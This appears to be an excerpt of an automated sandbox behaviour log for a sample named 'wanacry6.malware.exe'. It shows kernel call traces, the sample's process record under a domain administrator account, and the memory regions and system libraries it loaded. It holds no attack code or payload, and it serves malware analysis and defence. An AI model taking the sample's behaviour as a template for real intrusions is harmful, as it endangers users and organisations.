ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.332] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.393] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.393] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.393] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.426] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.427] EngAllocMem () returned 0xfffff90140890700 [0138.427] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.427] MmMapViewOfSection (in: SectionObject=0xffffc00002068570, Process=0xffffe0000120d7c0, BaseAddress=0xfffff90140890a28*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211f1ed0, ViewSize=0xfffff90140890a40, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90140890a28*=0x4ca1a0000, SectionOffset=0xffffd000211f1ed0, ViewSize=0xfffff90140890a40) returned 0x0 [0138.427] EngCreateBitmap () returned 0x4f050586 [0138.427] EngAssociateSurface () returned 0x1 [0138.427] EngLockSurface () returned 0xfffff9014088acb8 [0138.427] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001082bd0 [0138.427] KeInitializeEvent (in: Event=0xffffe00001082be8, Type=0x1, State=0 | out: Event=0xffffe00001082be8) [0138.427] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.428] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.428] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.430] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.430] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.430] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.430] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.430] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.431] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.431] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.454] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.455] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.509] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.521] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.521] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.555] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.555] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.586] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.587] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.610] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.610] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.644] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.644] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.674] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.674] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.707] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.707] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.741] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0138.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.893] MmUnmapViewOfSection (Process=0xffffe0000120d7c0, BaseAddress=0x4ca1a0000) returned 0x0 [0138.893] MmUnmapViewOfSection (Process=0xffffe0000120d7c0, BaseAddress=0x4c6c70000) returned 0x0 Process: id = "79" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x52e24000" os_pid = "0xa64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "78" os_parent_pid = "0xa40" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 9551 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 9552 start_va = 0x43029a0000 end_va = 0x43029bffff entry_point = 0x0 region_type = private name = "private_0x00000043029a0000" filename = "" Region: id = 9553 start_va = 0x43029c0000 end_va = 0x43029cefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000043029c0000" filename = "" Region: id = 9554 start_va = 0x43029d0000 end_va = 0x4302dcffff entry_point = 0x0 region_type = private name = "private_0x00000043029d0000" filename = "" Region: id = 9555 start_va = 0x4302dd0000 end_va = 0x4302dd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004302dd0000" filename = "" Region: id = 9556 start_va = 0x7ff6ce3d0000 end_va = 0x7ff6ce3f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce3d0000" filename = "" Region: id = 9557 start_va = 0x7ff6ce3f4000 end_va = 0x7ff6ce3f4fff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce3f4000" filename = "" Region: id = 9558 start_va = 0x7ff6ce3fe000 end_va = 0x7ff6ce3fffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce3fe000" filename = "" Region: id = 9559 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 9560 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9561 start_va = 0x4302de0000 end_va = 0x4302de1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004302de0000" filename = "" Region: id = 9562 start_va = 0x4302df0000 end_va = 0x4302df1fff entry_point = 0x0 region_type = private name = "private_0x0000004302df0000" filename = "" Region: id = 9563 start_va = 0x4302e20000 end_va = 0x430321ffff entry_point = 0x0 region_type = private name = "private_0x0000004302e20000" filename = "" Region: id = 9564 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 9565 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 9566 start_va = 0x43029a0000 end_va = 0x43029affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000043029a0000" filename = "" Region: id = 9567 start_va = 0x7ff6ce2d0000 end_va = 0x7ff6ce3cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce2d0000" filename = "" Region: id = 9568 start_va = 0x4303220000 end_va = 0x430329dfff entry_point = 0x4303220000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 9569 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 9570 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 9571 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 9572 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 9573 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 9574 start_va = 0x43029b0000 end_va = 0x43029b6fff entry_point = 0x0 region_type = private name = "private_0x00000043029b0000" filename = "" Region: id = 9575 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 9576 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 9577 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 9578 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 9579 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9580 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 9581 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 9582 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 9583 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 9584 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 9585 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9586 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9587 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 9588 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 9589 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 9590 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 9591 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 9592 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 9593 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 9594 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 9595 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 9596 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 9597 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 9598 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 9599 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 9600 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 9601 start_va = 0x43032a0000 end_va = 0x43032fffff entry_point = 0x0 region_type = private name = "private_0x00000043032a0000" filename = "" Region: id = 9602 start_va = 0x4302e00000 end_va = 0x4302e06fff entry_point = 0x0 region_type = private name = "private_0x0000004302e00000" filename = "" Region: id = 9603 start_va = 0x43032a0000 end_va = 0x43032d3fff entry_point = 0x43032a1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9604 start_va = 0x43032f0000 end_va = 0x43032fffff entry_point = 0x0 region_type = private name = "private_0x00000043032f0000" filename = "" Region: id = 9605 start_va = 0x4303300000 end_va = 0x4303487fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004303300000" filename = "" Region: id = 9606 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9607 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 9608 start_va = 0x4303490000 end_va = 0x4303610fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004303490000" filename = "" Region: id = 9609 start_va = 0x4303620000 end_va = 0x4304a1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004303620000" filename = "" Region: id = 9610 start_va = 0x4302e10000 end_va = 0x4302e10fff entry_point = 0x0 region_type = private name = "private_0x0000004302e10000" filename = "" Region: id = 9611 start_va = 0x43032a0000 end_va = 0x43032a0fff entry_point = 0x0 region_type = private name = "private_0x00000043032a0000" filename = "" Region: id = 9612 start_va = 0x43032b0000 end_va = 0x43032b0fff entry_point = 0x43032b0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 9613 start_va = 0x43032c0000 end_va = 0x43032c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000043032c0000" filename = "" Region: id = 9614 start_va = 0x4304a20000 end_va = 0x4304b6ffff entry_point = 0x0 region_type = private name = "private_0x0000004304a20000" filename = "" Region: id = 9615 start_va = 0x4304a20000 end_va = 0x4304ad9fff entry_point = 0x4304a4c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9616 start_va = 0x4304b60000 end_va = 0x4304b6ffff entry_point = 0x0 region_type = private name = "private_0x0000004304b60000" filename = "" Region: id = 9617 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 9618 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 9619 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 9620 start_va = 0x43032b0000 end_va = 0x43032b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000043032b0000" filename = "" Region: id = 9621 start_va = 0x4304a20000 end_va = 0x4304b0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004304a20000" filename = "" Region: id = 9622 start_va = 0x43032b0000 end_va = 0x43032b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000043032b0000" filename = "" Region: id = 9623 start_va = 0x43032d0000 end_va = 0x43032d6fff entry_point = 0x0 region_type = private name = "private_0x00000043032d0000" filename = "" Region: id = 9624 start_va = 0x4304b70000 end_va = 0x4304c6ffff entry_point = 0x0 region_type = private name = "private_0x0000004304b70000" filename = "" Region: id = 9625 start_va = 0x4304c70000 end_va = 0x4304d70fff entry_point = 0x4304c9fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 9626 start_va = 0x43032e0000 end_va = 0x43032e0fff entry_point = 0x0 region_type = private name = "private_0x00000043032e0000" filename = "" Region: id = 9627 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 9628 start_va = 0x4304c70000 end_va = 0x4304f44fff entry_point = 0x4304c70000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9629 start_va = 0x4304b10000 end_va = 0x4304b12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004304b10000" filename = "" Region: id = 9630 start_va = 0x4304b10000 end_va = 0x4304b10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004304b10000" filename = "" Region: id = 9631 start_va = 0x4304b20000 end_va = 0x4304b20fff entry_point = 0x0 region_type = private name = "private_0x0000004304b20000" filename = "" Region: id = 9632 start_va = 0x4304f50000 end_va = 0x4305441fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004304f50000" filename = "" Region: id = 9633 start_va = 0x4305450000 end_va = 0x43062bffff entry_point = 0x4305450000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 9634 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9635 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9636 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9637 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" 